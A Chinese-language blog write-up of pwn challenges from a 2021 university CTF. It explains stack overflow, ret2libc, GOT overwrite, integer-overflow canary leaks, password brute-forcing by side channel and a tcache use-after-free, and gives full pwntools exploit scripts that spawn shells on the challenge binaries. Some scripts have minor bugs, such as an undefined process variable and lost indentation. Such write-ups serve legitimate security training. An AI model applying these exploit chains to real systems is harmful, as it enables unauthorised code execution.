前段时间的极客大挑战 2021 和 2021 年的 SCU 新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写 wp 了。

# ret2text

简单的栈溢出,pwn 里的 hello world。

1
2
3
4
5
6
7
8
from pwn import *

r = process("/mnt/hgfs/ubuntu/stackoverflow")
elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")
payload = b'a'*0x38+p64(elf.symbols["backdoor"])
r.recvuntil(b"Do you know stack overflow and ret2text?")
r.sendline(payload)
io.interactive()

# ret2shellcode

最基础的 shellcode,可以自己写,也可以直接用 pwntools 里的 shellcraft 模块

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch="amd64",os="linux")
r = process("/mnt/hgfs/ubuntu/ret2shellcode")
r.recvuntil(b"Your input will be saved at ")
shellcode_addr = int(r.recvuntil(b'\n'),16)
shellcode = asm(shellcraft.sh())
r.recvuntil("Input: ")
payload = shellcode.ljust(0x88,b'a')+p64(shellcode_addr)
r.sendline(payload)
r.interactive()

# quiz

在线测试题,主要考察整数溢出和汇编的问题。

# ret2libc

链接:https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
提取码:F1re

checksec 一下,除了 canary 保护外全开。

# 思路

# 0x1 地址泄露

1

choice 选择 1 后可以泄露一些地址,其中泄露了一个函数的地址,和 puts 函数的地址,可以通过这两个得到 elf 文件基址和 libc 基址。

# 0x2 栈溢出

2

然后就是 choice 选择 2 后一个明显的栈溢出漏洞。

不过这道题有点搞的是,我用 system+/bin/sh 的方式不能 getshell,最后用 one_gadget 成功 getshell。最后注意用一个 ret 指令平衡栈帧。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so')
# r = process('/mnt/hgfs/ubuntu/ret2libc/ret2libc')

r.recvuntil("Your choice: ")
r.sendline(b'1')
r.recvuntil("You need to figure it out:")
r.recvuntil("0xdeadbeef ")
elf_addr = int(r.recv(14),16)
elf_base = elf_addr-0x13d3
r.recv(1)
puts_addr=int(r.recv(14),16)
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system_addr = libc_base+libc.symbols["system"]
bin_sh = 0x18ce57
one_gadget = libc_base+0xf03a4
pop_rdi = 0x1613+elf_base
ret = elf_base+0x101a
print("elf_base:"+hex(elf_base))
print("libc_base: "+hex(libc_base))
r.recvuntil("Your choice: ")
# payload = b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload =b'a'*0x18+p64(ret)+p64(one_gadget)
r.sendline(b'2')
r.recvuntil("input: ")
r.sendline(payload)
r.interactive()

# got_it

链接:https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
提取码:F1re

checksec 一下,除了 RELEO 保护,其他保护全开。

函数定义了一个数组,数组储存了几个学 pwn 的经典网站,函数有三个功能:

  • show:展示数组内某一个网站的网址。

  • edit:修改某一个网址的内容。但是可以看到输入长度 0x12 大于其数组元素长度 0x8,存在溢出。

  • exit:退出程序。

# 思路

# 0x1 溢出

3

存在 0x8 的溢出长度。

# 0x2 控制函数指针

4

其中 0x36E0 后储存的是数组变量的地址。

而 0x36E0 前储存的是数组变量。

结合之前我们发现的 0x8 的溢出长度,可以对 0x36D0 处最后一个网址使用 edit 函数,可覆写到储存第一个数组元素的指针。

# 0x3 pie 绕过,改写 GOT 表

由于程序未开 RELEO 保护,我们可以考虑改写函数 GOT 表,又由于程序开了 pie 保护,我们打算用 partial write 绕过。

5

发现 atoi_addr 与第一个函数指针之间只有最后一个字节不一样。因此我们只用覆写指针第一个字节为’\x40’。利用 show 函数泄露函数真实地址,从而计算出 libc 基址,然后再 edit 数组第一个元素,即可把 atoi_got 改写为 one_gadget 的值。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
# r = process('/mnt/hgfs/ubuntu/got_it/got_it')
elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it')
libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so')

def show(id):
r.recvuntil("> ")
r.sendline(str(1))
r.recvuntil("which? ")
r.sendline(str(id))

def edit(id,content):
r.recvuntil("> ")
r.sendline(str(2))
r.recvuntil("which? ")
r.sendline(str(id))
r.recvuntil("your new website: ")
r.send(content)
payload = b'a'*0x10+b'\x40'
edit(4,payload)
show(0)
r.recvuntil("website: ")
atoi_addr = u64(r.recv(6).ljust(8,b'\0'))
print("atoi_got: "+hex(atoi_addr))
libc_base = atoi_addr - libc.symbols["atoi"]
print("libc_base: "+hex(libc_base))
one_gadget = 0xf1247+libc_base
payload2= p64(one_gadget)
edit(0,payload2)
r.interactive()

# safe_copy

链接:https://pan.baidu.com/s/1HFxgh0mnrWJt76LBc9t9pw
提取码:F1re

真丶题如其意。checksec,保护全开。

IDA 反汇编出来代码有点乱,花了半个小时才大概理解程序流程。

函数主要流程是

  • 读取 0x100 大小的内容到 buf 数组中,读取 offset,Max_copylen,boundary 三个属性。

  • 初始化 0x10 大小的 s 数组,全用 “#” 填充,同时将 s 数组相邻的 0x90 大小的栈空间内也全用 “#” 填充。

  • 读取 copy_len,开始从 buf 数组中向 s 数组中 copy。

  • offset 确定了从 s 数组的第几个下标开始 copy,max_copylen 确定了最大 copy 长度,boundary 定义的则是最多能够 copy 到的 s 数组的最大下标。

以上的程序流程可以不断重复,直到输入到 buf 数组中的值为 "exit \n"。

理解程序流程后,我们可以基本肯定漏洞只能从几个参数:offset,Max_copylen,boundary,copy_len 几个参数上动手脚。因此我着重查看处理那几个参数的函数,并且检查参数本身逻辑并没问题,那么漏洞基本上只能出在整数溢出上。

# 思路

# 0x1 整数溢出

10

显然我们是想控制 offset 的值,达到 copy 到栈溢出的位置。检查到

1
if ( offset < 0 || boundary > 0x100 || max_copylen <= 0 || offset + max_copylen >= (int)boundary )

发现 offset 与 max_copylen 均为 int 型变量,且 max_copylen 对程序 copy 流程无太大影响,因此我们可以令 max_copylen 为接近 INT_MAX 的值,利用整数溢出使得满足 offset + max_copylen <= (int) boundary,并且也可以控制 offset 的值。

# 0x2 泄露 canary 与 libc 基址

6

可以观察到在 s 数组下方 0x8 地址处存在 canary 值与 libc_start_main_240 的地址,

由于 canary 第一位是’\0’,覆盖到 canary 第一位后,可以通过程序流程中的 put 泄露出 canary,** 使用 rjust 补足 canary。** 同时用相同方法泄露 libc_start_main_240 的地址,计算出 libc 基址,最后栈溢出 getshell。

最后在退出的时候倒是卡了半天… 需要在 buf 数组开头写入 "exit\n",且加上 "\0" 进行隔断

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
elf = ELF('/mnt/hgfs/ubuntu/safe_copy/safe_copy')
libc = ELF('/mnt/hgfs/ubuntu/safe_copy/libc-2.23.so')

def copy(padding,start_offset,length,boundary,copylength):
r.recvuntil("Your input: ")
r.sendline(padding)
r.recvuntil("Start offset: ")
r.sendline(str(start_offset))
r.recvuntil("Max copy len: ")
r.sendline(str(length))
r.recvuntil("Copy boundary: ")
r.sendline(str(boundary))
r.recvuntil("Copy len:")
r.sendline(str(copylength))

copy(b'aaaaaaaaa' ,0x100,0x7fffffff,11,9)
r.recvuntil("Result:")
r.recvuntil(b"aaaaaaaaa")
canary = u64(r.recv(7).rjust(8,b'\0'))
print("canary : "+hex(canary))
copy(b'aaaaaaaa'*7,0x100,0x7fffffff,100,56)
r.recvuntil(b"aaaaaaaa"*7)
libc_start_main_240 = u64(r.recv(6).ljust(8,b'\0'))
print("libc_start_main_240: "+hex(libc_start_main_240))
libc_base = libc_start_main_240-libc.symbols["__libc_start_main"]-240
print("libc_base: "+hex(libc_base))
one_gadget = libc_base+0x45226
payload = p32(1953069157)+b'\n'+b'\0'*3+p64(canary)+b'a'*0x28+p64(one_gadget)
copy(payload,0x100,0x7fffffff,0x100,64)
r.interactive()

# login

链接:https://pan.baidu.com/s/1hCcdvfqdlc836UaT7CBGHQ
提取码:F1re

# 程序流程分析

一道题看一下午,仍然一点思路都没有。

程序流程:

  • 自带一个 root 用户,id 为特殊的 0,密码通过 linux 中的 urandom 自动生成,每位密码的生成流程为:①从 /dev/urandom 中读取四位数字作为随机数种子。②调用 srand 函数。③生成一位密码。④直到生成 0x30 位密码

  • add user:添加用户,属性有①密码②id③密码长度。(id 不能为 0)

  • login:用户登入,如果登入的用户为 root 用户,拥有一个 UAF 漏洞。

  • delete user:删除用户。

# 思路

# root 用户

刚开始我认为 root 用户的密码在程序启动时就生成,并且每一位密码都有一个随机的种子,所以是无法爆破的。因此只能去将普通用户的 id 改为 0。于是我找了半天整数溢出的漏洞,想要把普通用户的 id 改为 0,最终无疾而终。

直到放出 hint:侧信道攻击。

网上百度了一下,侧信道攻击基本 = 爆破,不过是逐位爆破检查是否成功。

因此我仔细去检查了 check(密码检测)函数。

7

发现密码如果错误,会以 % s 打印出错误密码,% s 存在泄露后面数据的可能,因此我去查看了栈空间。

8

如图 var_30 的值对应 check 函数中的 v7 (也就是正确密码的个数)。

那就简单了,逐位爆破密码。

先定义基本函数体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def add(index,id,password):
r.sendline(b'1')
r.recvuntil(b"Input user index: ")
r.sendline(str(index))
r.recvuntil(b"Input id: ")
r.sendline(str(id))
r.recvuntil(b"Input password len: ")
r.sendline(str(len(password)))
r.recvuntil(b"Input password: ")
r.sendline(password)
r.recvuntil(b"Add user done!")

def login(id,password):
r.sendline(b'2')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))
r.recvuntil(b"Input password: ")
r.sendline(password)

def login1(id,password):
r.sendline(b'2')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))
r.recvuntil(b"Input password: ")
r.send(password)

def delete(id):
r.sendline(b'3')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))

爆破密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def burpsuit():
try_pwd = ""
for i in range(48):
for j in range(48, 48 + 79):
if i != 47:
login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))
r.recvuntil(b'a' * ((152 - (i + 1))))
number = u8(r.recv(1))
if number == i + 1:
try_pwd += chr(j)
break
else:
login(0,try_pwd + chr(j))
result = r.recv(1)
if (result != b"W"):
try_pwd += chr(j)
break
print("admin_passwd = " + try_pwd)
print("ok")

# 泄露 libc 基址

进入 root 用户后,我们可以有一个 UAF 漏洞。而该题的 libc 版本较高,存在 Tcache 机制。因此我们先 add 6 个 user,并将其全部 free,将 6 个 Tcache 填满,然后利用 root 用户的 UAF 漏洞 free 一个堆块 A,这样堆块 A 将置入 unsortedbin 中,而 login 功能其实变相相当于 show 功能,因此我们可以利用 UAF 漏洞提取 unsortedbin 中的 fd 指针,而 fd 指针指向的地址与 main_arena 有固定偏移:

9

故可以泄露出 libc 基址。

1
2
3
4
5
6
7
8
9
for i in range(1,8):
add(i,i,b'N1rvana')
for i in range(1,8):
delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()

需要注意的是,用 login 函数爆破 libc 基址时需要注意一些特殊字节:

①"\0" 字节,若是爆破字节中出现 "\0" 字节,则由于 % s 的特性,输出到 "\0" 就会终止,不能回显正确密码个数。

由于:

1
2
3
4
5
if ( *(_BYTE *)buf == 10 )
{
*(_BYTE *)buf = 0;
return i;
}

②"\n" 字节,输入 "\n" 字节密码输入直接终止。

因此我的 leak_libc_base 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def leak_libc_base():
try_base=""
for i in range(6):
for j in range(1,0xff):
if j!=10:
payload = try_base+chr(j)+ 'a' * (152-i-1)
login(0,payload)
r.recvuntil(b'a' * (152 - i-1))
# r.recvuntil("\n")
number = u8(r.recv(1))
print(number)
if number == i + 1:
try_base = try_base+chr(j)
break

try_base =u64(try_base.ljust(8,'\0'))
libc_base=try_base-0x3ebca0
print(hex(libc_base))
return libc_base

# Tcache UAF attack

然后我就不会做了… 呜呜呜。

看了 wp 之后知道是 Tcache UAF attack。然后补足了拼图的最后一小块。

直接打 free_hook。

# exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
from ctypes import *

# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/login/login')
elf = ELF('/mnt/hgfs/ubuntu/login/login')
libc = ELF('/mnt/hgfs/ubuntu/login/libc_login.so')

def add(index,id,password):
r.sendline(b'1')
r.recvuntil(b"Input user index: ")
r.sendline(str(index))
r.recvuntil(b"Input id: ")
r.sendline(str(id))
r.recvuntil(b"Input password len: ")
r.sendline(str(len(password)))
r.recvuntil(b"Input password: ")
r.sendline(password)
r.recvuntil(b"Add user done!")

def login(id,password):
r.sendline(b'2')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))
r.recvuntil(b"Input password: ")
r.sendline(password)

def login1(id,password):
r.sendline(b'2')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))
r.recvuntil(b"Input password: ")
r.send(password)

def delete(id):
r.sendline(b'3')
r.recvuntil(b"Input user index: ")
r.sendline(str(id))

def burpsuit():
try_pwd = ""
for i in range(48):
for j in range(48, 48 + 79):
if i != 47:
login(0,try_pwd+ chr(j) + 'a' * (152-(i + 1)))
r.recvuntil(b'a' * ((152 - (i + 1))))
number = u8(r.recv(1))
if number == i + 1:
try_pwd += chr(j)
break
else:
login(0,try_pwd + chr(j))
result = r.recv(1)
if (result != b"W"):
try_pwd += chr(j)
break
print("admin_passwd = " + try_pwd)
print("ok")

def leak_libc_base():
try_base=""
for i in range(6):
for j in range(1,0xff):
if j!=10:
payload = try_base+chr(j)+ 'a' * (152-i-1)
login(0,payload)
r.recvuntil(b'a' * (152 - i-1))
# r.recvuntil("\n")
number = u8(r.recv(1))
print(number)
if number == i + 1:
try_base = try_base+chr(j)
break

try_base =u64(try_base.ljust(8,'\0'))
libc_base=try_base-0x3ebca0
print(hex(libc_base))
return libc_base
for i in range(1,8):
add(i,i,b'N1rvana')
for i in range(1,8):
delete(i)
burpsuit()
r.recvuntil("Input victim index: ")
r.sendline(b'0')
r.recvuntil("Haha. Let's see what will happen.")
libc_base=leak_libc_base()
for i in range(1,8):
add(i,i,b'N1rvana')
add(8,8,b'invincible')
delete(8)
delete(0)
add(9,9,p64(libc_base+libc.symbols["__free_hook"]))
add(10,10,b'/bin/sh')
add(11,11,p64(libc_base+libc.symbols["system"]))
delete(10)
r.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝